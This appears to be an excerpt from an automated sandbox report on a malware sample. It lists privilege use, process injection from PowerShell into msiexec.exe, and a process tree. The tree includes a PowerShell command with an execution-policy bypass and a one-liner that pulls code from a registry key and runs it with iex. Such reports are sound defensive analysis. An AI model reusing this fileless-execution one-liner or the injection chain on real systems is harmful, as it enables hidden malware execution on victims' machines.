powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1888 powershell.exe Token: SeDebugPrivilege 4792 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
powershell.exemsiexec.exedescription pid process target process PID 1888 wrote to memory of 4100 1888 powershell.exe msiexec.exe PID 1888 wrote to memory of 4100 1888 powershell.exe msiexec.exe PID 4100 wrote to memory of 4792 4100 msiexec.exe powershell.exe PID 4100 wrote to memory of 4792 4100 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1662.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4100 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='3654';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4792
-
-